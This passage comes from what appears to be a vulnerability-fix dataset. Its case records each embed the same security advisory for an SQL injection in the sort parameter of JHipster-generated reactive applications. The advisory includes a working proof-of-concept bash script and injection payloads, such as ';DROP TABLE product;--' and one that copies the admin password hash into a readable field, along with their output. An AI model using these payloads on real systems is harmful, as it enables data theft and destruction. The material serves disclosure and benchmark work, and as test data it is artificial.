name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name' ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name' ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -> subsequent list: status 500 \"Failure during data access\"\n```\n"
+commit = "f6f1579581da8db0d1b8bd28dd473b56951c83af"
+cwe = "CWE-89"
+family = "injection"
+function = "logFieldsAndRelationships"
+function_lines = [[876, 938]]
+id = "jhipster-generator-jhipster-b5bedd365fd447dc"
+language = "typescript"
+method = "fix_site"
+parent = "5412d97c33c7cc9c5c06c421b5364166986a9f7c"
+path = "generators/entity/prompts.ts"
+post_fix = "function logFieldsAndRelationships(this: EntityGenerator) {\n const context = this.entityData;\n if (this.entityConfig.fields.length > 0 || this.entityConfig.relationships.length > 0) {\n this.log.log(chalk.red(chalk.white('\\n================= ') + context.name + chalk.white(' =================')));\n }\n if (this.entityConfig.fields.length > 0) {\n this.log.log(chalk.white('Fields'));\n this.entityConfig.fields.forEach(field => {\n const validationDetails: string[] = [];\n const fieldValidate = isArray(field.fieldValidateRules) && field.fieldValidateRules.length >= 1;\n if (fieldValidate) {\n if (field.fieldValidateRules!.includes(REQUIRED)) {\n validationDetails.push(REQUIRED);\n }\n if (field.fieldValidateRules!.includes(UNIQUE)) {\n validationDetails.push(UNIQUE);\n }\n if (field.fieldValidateRules!.includes(MINLENGTH)) {\n validationDetails.push(`${MINLENGTH}='${field.fieldValidateRulesMinlength}'`);\n }\n if (field.fieldValidateRules!.includes(MAXLENGTH)) {\n validationDetails.push(`${MAXLENGTH}='${field.fieldValidateRulesMaxlength}'`);\n }\n if (field.fieldValidateRules!.includes(PATTERN)) {\n validationDetails.push(`${PATTERN}='${field.fieldValidateRulesPattern}'`);\n }\n if (field.fieldValidateRules!.includes(MIN)) {\n validationDetails.push(`${MIN}='${field.fieldValidateRulesMin}'`);\n }\n if (field.fieldValidateRules!.includes(MAX)) {\n validationDetails.push(`${MAX}='${field.fieldValidateRulesMax}'`);\n }\n if (field.fieldValidateRules!.includes(MINBYTES)) {\n validationDetails.push(`${MINBYTES}='${field.fieldValidateRulesMinbytes}'`);\n }\n if (field.fieldValidateRules!.includes(MAXBYTES)) {\n validationDetails.push(`${MAXBYTES}='${field.fieldValidateRulesMaxbytes}'`);\n }\n }\n this.log.log(\n chalk.red(field.fieldName) +\n chalk.white(` (${field.fieldType}${field.fieldTypeBlobContent ? ` ${field.fieldTypeBlobContent}` : ''}) `) +\n chalk.cyan(validationDetails.join(' ')),\n );\n });\n this.log.log();\n }\n if (this.entityConfig.relationships.length > 0) {\n this.log.log(chalk.white('Relationships'));\n this.entityConfig.relationships.forEach(relationship => {\n const validationDetails: string[] = [];\n if ([relationship.relationshipValidateRules ?? []].flat().includes(REQUIRED)) {\n validationDetails.push(REQUIRED);\n }\n this.log.log(\n `${chalk.red(relationship.relationshipName)} ${chalk.white(`(${upperFirst(relationship.otherEntityName)})`)} ${chalk.cyan(\n relationship.relationshipType,\n )} ${chalk.cyan(validationDetails.join(' '))}`,\n );\n });\n this.log.log();\n }\n}"
+pre_fix = "function logFieldsAndRelationships(this: EntityGenerator) {\n const context = this.entityData;\n if (this.entityConfig.fields.length > 0 || this.entityConfig.relationships.length > 0) {\n this.log.log(chalk.red(chalk.white('\\n================= ') + context.name + chalk.white(' =================')));\n }\n if (this.entityConfig.fields.length > 0) {\n this.log.log(chalk.white('Fields'));\n this.entityConfig.fields.forEach(field => {\n const validationDetails: string[] = [];\n const fieldValidate = isArray(field.fieldValidateRules) && field.fieldValidateRules.length >= 1;\n if (fieldValidate) {\n if (field.fieldValidateRules!.includes(REQUIRED)) {\n validationDetails.push(REQUIRED);\n }\n if (field.fieldValidateRules!.includes(UNIQUE)) {\n validationDetails.push(UNIQUE);\n }\n if (field.fieldValidateRules!.includes(MINLENGTH)) {\n validationDetails.push(`${MINLENGTH}='${field.fieldValidateRulesMinlength}'`);\n }\n if (field.fieldValidateRules!.includes(MAXLENGTH)) {\n validationDetails.push(`${MAXLENGTH}='${field.fieldValidateRulesMaxlength}'`);\n }\n if (field.fieldValidateRules!.includes(PATTERN)) {\n validationDetails.push(`${PATTERN}='${field.fieldValidateRulesPattern}'`);\n }\n if (field.fieldValidateRules!.includes(MIN)) {\n validationDetails.push(`${MIN}='${field.fieldValidateRulesMin}'`);\n }\n if (field.fieldValidateRules!.includes(MAX)) {\n validationDetails.push(`${MAX}='${field.fieldValidateRulesMax}'`);\n }\n if (field.fieldValidateRules!.includes(MINBYTES)) {\n validationDetails.push(`${MINBYTES}='${field.fieldValidateRulesMinbytes}'`);\n }\n if (field.fieldValidateRules!.includes(MAXBYTES)) {\n validationDetails.push(`${MAXBYTES}='${field.fieldValidateRulesMaxbytes}'`);\n }\n }\n this.log.log(\n chalk.red(field.fieldName) +\n chalk.white(` (${field.fieldType}${field.fieldTypeBlobContent ? ` ${field.fieldTypeBlobContent}` : ''}) `) +\n chalk.cyan(validationDetails.join(' ')),\n );\n });\n this.log.log();\n }\n if (this.entityConfig.relationships.length > 0) {\n this.log.log(chalk.white('Relationships'));\n this.entityConfig.relationships.forEach(relationship => {\n const validationDetails: string[] = [];\n if (relationship.relationshipValidateRules?.includes(REQUIRED)) {\n validationDetails.push(REQUIRED);\n }\n this.log.log(\n `${chalk.red(relationship.relationshipName)} ${chalk.white(`(${upperFirst(relationship.otherEntityName)})`)} ${chalk.cyan(\n relationship.relationshipType,\n )} ${chalk.cyan(validationDetails.join(' '))}`,\n );\n });\n this.log.log();\n }\n}"
+repo = "jhipster/generator-jhipster"
+url = "https://github.com/jhipster/generator-jhipster.git"
+
+[[case]]
+advisory = "GHSA-r223-96jv-q533"
+advisory_text = "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort\n\n# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {\n List fields = new ArrayList<>();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux\ncat > .yo-rc.json <<'EOF'\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat > product.jdl <<'EOF'\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -> \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -> BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &\ncurl -s http://127.0.0.1:18080/management/health # -> {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash /poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash /poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)['id_token'])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name' ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))' || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" \\\n | python3 -c \"import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])' || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product 'name' now equals the admin bcrypt hash:\n id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name' ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name' ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -> subsequent list: status 500 \"Failure during data access\"\n```\n"
+commit = "f6f1579581da8db0d1b8bd28dd473b56951c83af"
+cwe = "CWE-89"
+family = "injection"
+function = "cleanupEntitiesTask"
+function_lines = [[90, 91]]
+id = "jhipster-generator-jhipster-d40433c5e5a179bb"
+language = "typescript"
+method = "fix_site"
+parent = "5412d97c33c7cc9c5c06c421b5364166986a9f7c"
+path = "generators/spring-boot/generators/data-relational/entity-files.ts"
+post_fix = "export const cleanupEntitiesTask = asWritingEntitiesTask(async function cleanupEntitiesTask({\n application,\n control,\n entities,\n}) {\n if (!application.reactive) return;\n for (const entity of entities.filter(\n entity => !entity.builtIn && !entity.skipServer && !entity.embedded && entity.entityPersistenceLayer,\n )) {\n await control.cleanupFiles({\n '9.3.1': [\n `${application.srcMainJava}/${entity.entityAbsoluteFolder}/repository/${entity.entityClass}SqlHelper.java`,\n `${application.srcMainJava}/${entity.entityAbsoluteFolder}/repository/rowmapper/${entity.entityClass}RowMapper.java`,\n [\n useSimpleR2dbcRepository(entity),\n `${application.srcMainJava}/${entity.entityAbsoluteFolder}/repository/${entity.entityClass}RepositoryInternalImpl.java`,\n ],\n ],\n });\n }\n});"
+pre_fix = "export function cleanupEntitiesTask() {}\n"
+repo = "jhipster/generator-jhipster"
+url = "https://github.com/jhipster/generator-jhipster.git"
+
+[[case]]
+advisory = "GHSA-r223-96jv-q533"
+advisory_text = "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort\n\n# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {\n List fields = new ArrayList<>();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux\ncat > .yo-rc.json <<'EOF'\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat > product.jdl <<'EOF'\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -> \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -> BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &\ncurl -s http://127.0.0.1:18080/management/health # -> {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash /poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash /poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)['id_token'])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name' ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))' || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" \\\n | python3 -c \"import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])' || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product 'name' now equals the admin 